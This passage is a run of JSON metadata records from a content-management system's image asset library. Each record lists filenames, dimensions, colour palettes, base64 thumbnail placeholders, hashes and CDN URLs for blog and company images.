"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a56b5f","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c64b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"henrietta-dombrovskaya.jpg","path":"images/sczeoy4w/production/7b6cda9785143c298f14e6e1818be8d4ea8977dd-530x530.jpg","sha1hash":"7b6cda9785143c298f14e6e1818be8d4ea8977dd","size":41213,"uploadId":"E7nlTX6lwe6vkRzMFhBpGmK4cESGTbwa","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b6cda9785143c298f14e6e1818be8d4ea8977dd-530x530.jpg"} {"_createdAt":"2023-03-30T14:12:42Z","_id":"image-7bc46ec70ef3388565f139c02710b80f5a920e00-2880x520-png","_rev":"iIDWKhYkmLI2REfIiVED6y","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T14:12:42Z","assetId":"7bc46ec70ef3388565f139c02710b80f5a920e00","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4QB2}f?D~9xtr:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.538461538461538,"height":520,"width":2880},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA/ElEQVQYlWP4c9CP4ctef6aTi0NZ53dFsXfXx7JUl8YzrJkcwVCYn8CADPjN8sDY2iWOgcskn1HYPIclKSCAY2eOIeeHOllmBob/DAz/z3sz3F0fxLykN4q9piyeMz41mdXKP4MhNzeRAURjM1DUIpuB1zSPScAsl9XeNYZtWqIty9MqRUYGhgMMDP/PeDOcXBLKMqUlhrOwIIHTPTyNVcAsl4FBuYhB3iEbq4H8ZrkgmonfLI9V1CKbxdI5nvFmmSqDiWMCA8P/0z4MB+aFsUxqjuHKzE7kNPLOZGaQKmFgYGgAa8ZmIK8pmGbkN8tjBrmUQb+UwcczAiwOAGl1SW4QZwxcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47453d","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140b05","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#47453d","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a431e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4b494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a431e","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7033","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pattern-pills.png","path":"images/sczeoy4w/production/7bc46ec70ef3388565f139c02710b80f5a920e00-2880x520.png","sha1hash":"7bc46ec70ef3388565f139c02710b80f5a920e00","size":39333,"uploadId":"I6Z9yyXj1h49nY8xyf8ZA4HQOiRVGnWv","url":"https://cdn.sanity.io/images/sczeoy4w/production/7bc46ec70ef3388565f139c02710b80f5a920e00-2880x520.png"} {"_createdAt":"2022-09-27T13:28:39Z","_id":"image-7bdc19c0f4b83c509a8dbc3e7247cd6bcf21c84f-541x107-svg","_rev":"lf1jOsEAA7PAFZMZhbWs9U","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T13:28:39Z","assetId":"7bdc19c0f4b83c509a8dbc3e7247cd6bcf21c84f","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4V9RFy?w$tReF_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.05607476635514,"height":107,"width":541},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABO0lEQVQYlS3Iy0oCARiG4Q8X1Sp10QHJyA6Q/hM6M0mgmCCZIJVGKmimjf6TVOqmlW4qqJBOSC4cDYJoESFRd9DldAGBtagmAhcvD7zIdiqO3GUhWD2OhZ+vFuYe73ZNoqYPydq3Zf5WN1Pt3WyOahaDa98CuzIIYWcAxCYQj4PYCmIjiP9fP4j74D678dq5psiZo71yIeu7Pr2webQvv6j9JuW2HnfWP1ZHMp2IQSrF4civQVBDIF4BcQzEURAvg3gJxAEQL0KuPvhmU3WWNk7Kxbjqb1TObd5m1yNq+pbc0tnV6CZGldd1g1TKg/JFCGoBxAqIN0GcBHEKxOmeCYQO34REqhY+CG5H7gMh50uuaHS3daPU/BmTW7rN1fi0DqefJgxiUQKxH4LqB7EbxDMgngLxdK9JENv+APTYYzGtNWnHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33374d","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04248c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3595f3","foreground":"#fff","population":2.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b9c4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3595f3","foreground":"#fff","population":2.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c75a1","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a98f0","foreground":"#fff","population":0.36,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"netspyglass-logo-new.svg","path":"images/sczeoy4w/production/7bdc19c0f4b83c509a8dbc3e7247cd6bcf21c84f-541x107.svg","sha1hash":"7bdc19c0f4b83c509a8dbc3e7247cd6bcf21c84f","size":13967,"uploadId":"hayk8x2l1t7b84e5jQ6aqFfOO66zR35o","url":"https://cdn.sanity.io/images/sczeoy4w/production/7bdc19c0f4b83c509a8dbc3e7247cd6bcf21c84f-541x107.svg"} {"_createdAt":"2023-01-17T16:37:03Z","_id":"image-7be684d0fa07ce9446a32c1375789ec44a382ff9-1567x844-png","_rev":"f7ZLB5gHWjAMj1YrtAqGmn","_type":"sanity.imageAsset","_updatedAt":"2023-01-17T16:37:03Z","assetId":"7be684d0fa07ce9446a32c1375789ec44a382ff9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFA0eABWI:}S15Gv=wnO5==F$kX7S2wfSd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACMklEQVQokYWSS08TURiGp6WthXAxclUTb4mJpTOddsrYlhYUiQ1VU6HFFhAJl85AaRG5xCAxRO6IweienQt3rvwTrlwbf4BLF/yAx5xTL4lCXLzn+/Jl5vne8+Yo7kCRGqP8r8JlajvmqDcfy1ptlPCGSlSHStSZczTGFjgTW6DGKOFRLSmHfxqlsXOBq6nnBPrXMbJbGNlNOh5sY+Z25EzrXyeY2US9/4Jrd9d+S8z0gQ3Odi/jDdi4VAtFANu6lzEGt+gZP6B38jW3Jg5IFt7QZ7+l69E+nSN73Bh7RWJ0n+v5HXz31rjQu8KV5CqXk6s0RuclsMpvo7TbKM3xRYKZDflT/OFLzNw2kaFdCRCw6NAuseE92YvFwoAnUMSlFXEFZnFrM3g0G6dwJ4De4KzMQ1hv7VqSuYgYRN/atUxLYklK9E3xRcT3SruF02/hVAWo4s7xCyiPY+Q4YS5AbeYYnX2DRPtytJjjEiryc4iq+GwUn/V/tYtqU6tPkEmneL+i8+5ZiFQ6TbVewKlO49YKwqEl3Zzk6I8qwEvmCPtjYb7tNvFl5xzFfA8NoUlcmo1HAL3+AvX6NHXhEh59tgKWjv6CyaUWkWiWD6M+jp6e5vOT8wzfuU1tcAq3ZuFSCyj16hRt4Rmao/PyQcscjgP6bMTywdgAn7JBjiYv8jGvkohn8GiWlMhXcfsLeDWbU3qRKnWmAjgB2OCfohzJ8jWV4PuAwWHyJj5jlKqf1xU3+AHfYoCvjfZq9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3b63","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":59.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":59.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99aecc","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8c641","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60748d","foreground":"#fff","population":1.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6940f","foreground":"#000","population":1.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Message_from_Oskari_blog.png","path":"images/sczeoy4w/production/7be684d0fa07ce9446a32c1375789ec44a382ff9-1567x844.png","sha1hash":"7be684d0fa07ce9446a32c1375789ec44a382ff9","size":77787,"uploadId":"005GjNGBZwC63e3DcyK3MhHGqNza4HCA","url":"https://cdn.sanity.io/images/sczeoy4w/production/7be684d0fa07ce9446a32c1375789ec44a382ff9-1567x844.png"} {"_createdAt":"2023-01-16T10:51:29Z","_id":"image-7c0899e469fd364410807950d60b14281640c7e4-4090x3804-jpg","_rev":"Z39vf97kTT8utJKfKjTcHh","_type":"sanity.imageAsset","_updatedAt":"2023-01-16T10:51:29Z","assetId":"7c0899e469fd364410807950d60b14281640c7e4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNEVTrxu0LM{xC00Rjt8oz%2?^t7$%aeIo00RkxaofWV-;j[t6ofR,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0751840168243953,"height":3804,"width":4090},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAATABQDASIAAhEBAxEB/8QAGwABAAICAwAAAAAAAAAAAAAAAAYHAQIFCAn/xAAnEAABBAIBAgUFAAAAAAAAAAACAAEDBAURBhIxBxMUIUEVImFxkf/EABYBAQEBAAAAAAAAAAAAAAAAAAEDBP/EABkRAAMBAQEAAAAAAAAAAAAAAAABAgMxEf/aAAwDAQACEQMRAD8A6/4LH/VsvWpeYMfnGw9ZdmUp8QeDwccgjlp3fVb11MzdvyuO8O8XmbPIKtrFYua4EZ/doNizftWVz2HK3MdahpVSmmZtGDR+4t8qOlUqXnDRlMOG30od0W00ZxSEEguBi+nEm07IrGc9COJ42njcFTgoVoq8TRs/SA6+Fm9Uri5GMMbGXd2H3dESJC8twrjd649i3h6kkxs3UTjp3/iIiBP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e2d25","foreground":"#fff","population":1.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652018","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9c7562","foreground":"#fff","population":7.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3a090","foreground":"#000","population":1.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ddb29d","foreground":"#000","population":1.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7562","foreground":"#fff","population":7.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#934e44","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aindriu_lavelle.jpg","path":"images/sczeoy4w/production/7c0899e469fd364410807950d60b14281640c7e4-4090x3804.jpg","sha1hash":"7c0899e469fd364410807950d60b14281640c7e4","size":1280024,"uploadId":"nrMPXyucOSj1jwRv1eUqo35m3Iblp5w5","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c0899e469fd364410807950d60b14281640c7e4-4090x3804.jpg"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-7c19eef16164078149ca6abef56d9c33e78a5ab0-640x298-png","_rev":"CK1sLU2mnwa3vmbYWEbjGh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:10Z","assetId":"7c19eef16164078149ca6abef56d9c33e78a5ab0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S6Pl-;~q%M?vofWBxuRjx]_3RjD%%Mni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1476510067114094,"height":298,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQokXWRyW7EIAxA5/+/sZp2AiGE3TbBYHqoMtNdrbkg2U/Py0VEWmuImHMOIcQYQwjOOQRorVElRCileO+dczFGgHIctfc+57yISK01pbRbuxmzO5dyRkRA2P2ut9XYbbN2NUZrvW1bCAERmbuIXOacvXcEsKu6XZ+W5ZZL6b0D5Jfl+fpyVVoppZbz3eyqSgrMTURO87xHZ87RW73YVRPiGAMB1lOmjDHrqk+tVtkaJriTr1/ww1+JIKfHtJXIOWeM8d6nlEKMwXvKeTDPeWp/wHPOIQIA3u8IhZkB0TlXyvlvjREJAY5aZYw/YBEhohRDvffGvRNRa+8TMjMCUMmD20P+G2bm4zjGOC8hImOMB/mZ5XZI7/P7wr46/1b9b3wUvAFSiwEY2r5s3wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#773821","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67311c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d99176","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4d4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90dcfc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c84ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d99176","foreground":"#000","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7c19eef16164078149ca6abef56d9c33e78a5ab0-640x298.png","path":"images/sczeoy4w/production/7c19eef16164078149ca6abef56d9c33e78a5ab0-640x298.png","sha1hash":"7c19eef16164078149ca6abef56d9c33e78a5ab0","size":24334,"uploadId":"iAbSfObeK3lVSgdmtezx8L2ulX3ARG9P","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c19eef16164078149ca6abef56d9c33e78a5ab0-640x298.png"} {"_createdAt":"2022-06-15T20:01:45Z","_id":"image-7c1cf6877ccd53da37712aa30483e9a4a326d30f-650x350-png","_rev":"CK1sLU2mnwa3vmbYWEbDEA","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:02Z","assetId":"7c1cf6877ccd53da37712aa30483e9a4a326d30f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47-Wo^+00-:~q-;t7D%xu-;9F9FD%of-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8571428571428572,"height":350,"width":650},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCElEQVQokV3RTW+iUBgF4HtFRQTlQ0XlCpcPb1EjCiILRzKjaGwIIW3jikV3Lkx3jWnShWsX/gB/72Rw2knm2Z+Tk/cFAAAIAISwUChACEEOQliv123bDoLA8zzLsgRBoCgK/KdcKHClEscwHMcx1SpFURBCmqYdxzkej+fz+f39PUkSVVVpmv5u/6tBlx9EgSiKaZo9VeU4jqIolmU3m831er3dbpfLJcsy0zSrX9X/wmpDXNgPP1w3mM9dzyOEtNttSZLCMPz4+Pj8/DydTvv9HmPMMMw9/A3omhr9+pkmSRzH2+02iqIgCBRFcRwny7LX3G630zSNZdlyuVwqlSiKKuSALMu+70dRtFqtPM8bDoeWZUmShDGO4/jl5WW9XjuO0+12ZVnWNK3b7d73F4tFIAjCwLZ933dd1zCMdrsty7Ioigih9Xodx7HjOAghURR1XV8ul57nNZtNhmFYlgU8zxNC3JyXG4/HlmURQqIoStN0Op0ihHiexxgvFov7imaz2Wq1AMuySn7qe4Xv+5PJxLbt4XC4Wq2SJJnP54ZhSJKkKMpgMNB1HSGkqipCCNA0Xa/XJUmSZbnX6+k50zSn02mSJM/Pz2EYzmazP4/s9QzDwDld1zVNA5VKpVarNRqNTqejKArGuN/vj0ajx8fHt7e3w+Hw9PSUpmkYhoQQjLHxpd/v/waXnlyA4uNNwAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":1.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#621414","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":1.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c7c7","foreground":"#000","population":1.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7c7c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0564a","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7c1cf6877ccd53da37712aa30483e9a4a326d30f-650x350.png","path":"images/sczeoy4w/production/7c1cf6877ccd53da37712aa30483e9a4a326d30f-650x350.png","sha1hash":"7c1cf6877ccd53da37712aa30483e9a4a326d30f","size":110742,"uploadId":"gRRzRAZG1fg7Hh2r23ED8fDOSlTA8Q79","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c1cf6877ccd53da37712aa30483e9a4a326d30f-650x350.png"} {"_createdAt":"2022-06-28T10:16:52Z","_id":"image-7c1ed2683dac575e50f4d858cb19edc580b90b3a-2604x1658-png","_rev":"CK1sLU2mnwa3vmbYWEeA35","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:08Z","assetId":"7c1ed2683dac575e50f4d858cb19edc580b90b3a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VhONLK~qDi?bE0jDRkR,j[ofkXoeacWCof%1ogWZoJWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5705669481302775,"height":1658,"width":2604},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC80lEQVQ4jW2SbW9aZRzG+420LZ3vVpe0GzA75WP4GfSFMZrMzIeYOKd2thTaOpctMVnXWF23MZnrysMB2lHaQkdG4RwOBw7nmcMBfga6aWN6J1fu6/6/+OV/XbnHdMNC1Qyaqoaq6SPf1k1008Y4Q8O5Zliju3Jc48ef5pmdvcj4+CSBy+8zJjc1KvU2R1WF8rFEVZKpN1rIiorcPEOKilhXqNUVCoclvvv+BjMzs4xPvAYeSw1Su4f8+WSbjYd/sRmLE4tvEXt6tp78/ZytpEB+v4iQe8HX33zLuxcu8Pb4BMH3PmDsVbVO7Ok20Vt3uRle5uelFRYiqyye0sK/WiG8/Au/3VsnJeRIpjNc+/Irzk9P89YQeCXEmCg3OSiVSQo7bCXSJNNZUkKWRCrDdkogkc6QzuQQsrsI2R0yuV329g+oihLF0hHXR5FnTiLPhYYdtlFUHbmlo6gahmmhGyZSXaZSOaZel0dvy3awnQ5Ox8W2O7hdj4aiEA6H8fv9TEz6CAwjD4FNzUTRHFqGg93pYpgmL/J5HmxukhYEjsoldvaylCsvaSl1ai8PacsSTUUhEokQCASY9E0RnHsNVHULRXeRNRer49HWdO7dX+ejTz5laXWFjcdr3IhcY33zLvlMnMd35tl79hBZrBGJRgkGAvimzv0HbOsWDd2lprrozglw7fcNPv78KtHbv/JHfI0fbn3BeuwOmWSc+0vzZB49QqrWiESiBINBps69w+U3HbYNi6bhIrW76LY36urwqEzsWYLd/QPKYplMMU2pVkSUJAq5AuIrEVlWWFyK4P//hsNfbzoeutPDcXt4vR667SK2LVTLRXO61A0b1XExOx4t08Hs9JAUlfnFMBf9AXynOzQtB6/Xp9cf0O8PcLwBZdUjLXbYa3gUGh7pmkNe7nKgeGQlh4LSQyi3uHp9gemZSyPg3JVTwH6/z8kZ0LIHPCj2uJnssprtcXvnxK+88YnhfMDyc5UPP1vEd/7SKHIoFOIfxDBTgpEaygwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363c44","foreground":"#fff","population":2.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b3f79","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#363c44","foreground":"#fff","population":2.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9ccd5","foreground":"#000","population":1.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5ba9db","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#824a61","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#157ae8","foreground":"#fff","population":1.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7c1ed2683dac575e50f4d858cb19edc580b90b3a-2604x1658.png","path":"images/sczeoy4w/production/7c1ed2683dac575e50f4d858cb19edc580b90b3a-2604x1658.png","sha1hash":"7c1ed2683dac575e50f4d858cb19edc580b90b3a","size":795206,"uploadId":"S7ZPD8K1zUPwG2CmRppc4QQSVjysUHtw","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c1ed2683dac575e50f4d858cb19edc580b90b3a-2604x1658.png"} {"_createdAt":"2023-09-21T08:41:13Z","_id":"image-7c234a93721bd5c745364ec06e97f83b53aa58f5-1200x628-jpg","_rev":"kaQ4ZWos4gq6sBfd7tEJUR","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:45:57Z","altText":null,"assetId":"7c234a93721bd5c745364ec06e97f83b53aa58f5","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABV*-0v#ROx+Wx-TO}O0-t8-;ROE,$#$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACMQAAEEAQQBBQAAAAAAAAAAAAEAAgMEEQUGEiEiIzFBUsH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQG/8QAIxEBAAECAwkAAAAAAAAAAAAAAQMAAgQRIQYSExUxMmGh0f/aAAwDAQACEQMRAD8AxahqNKOCJj6DXPaMF5+U/wBEhmtWOUNJkcDh4uLf1R4PoRrbNkNB2fUJAJ5HvC0LPwbowO67KlRwkher0M6WRbhvUImV4Z4y1gx7IU5f6uTY+xQidmsLc712q+D5VPOJTQPbX//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404573","foreground":"#fff","population":0.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":10.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":10.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aace","foreground":"#000","population":0.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9c3a","foreground":"#000","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5eac","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24d11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"using-kafka-connect-jdbc-source_meta-preview.jpg","path":"images/sczeoy4w/production/7c234a93721bd5c745364ec06e97f83b53aa58f5-1200x628.jpg","sha1hash":"7c234a93721bd5c745364ec06e97f83b53aa58f5","size":56711,"title":null,"uploadId":"LnGwIgKBWODtyFqi6j1wElNc4HQyB5aj","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c234a93721bd5c745364ec06e97f83b53aa58f5-1200x628.jpg"} {"_createdAt":"2023-03-30T17:02:25Z","_id":"image-7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388-png","_rev":"X76Ye1KO1uMYkz1EfOlbKy","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:25Z","assetId":"7c33c65ce44d38ebe81deec442b0d5a3c92f9e41","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.463917525773196,"height":388,"width":1344},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2klEQVQYlVWPSW4EMQhFff875RRZROpNL7ozVKk8AgY8VctOJ0qe/gKQPh/M9vL28Xq93963fYsYUZGEWLm00lpjFqLMC1qISM6ZiHLOxl0+3X332xEPlyBBBqApVm6t1dpKKXVRFr91rdVEF6ILyXryUZi1qKiKiJaZ3P8w/jFbY2+73a09bPSBmVXL0nPFQldOG2Oci3GO1udiEy5fcfc+xBAiAGSgDIgJU4I4B7B+llJK7/3b3EeXKlrVwPUglwAwJUQgSaQJKSEAImURrbX93D+zxzhbf5ofhe1ad2qNIo4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4e45","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#942670","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e897c6","foreground":"#000","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4a4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e897c6","foreground":"#000","population":0.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d41c64","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-source-target-integration-enabled.png","path":"images/sczeoy4w/production/7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388.png","sha1hash":"7c33c65ce44d38ebe81deec442b0d5a3c92f9e41","size":25450,"uploadId":"E18dNlmF3XMroGjVAPuZhLhMXp36HKOI","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388.png"} 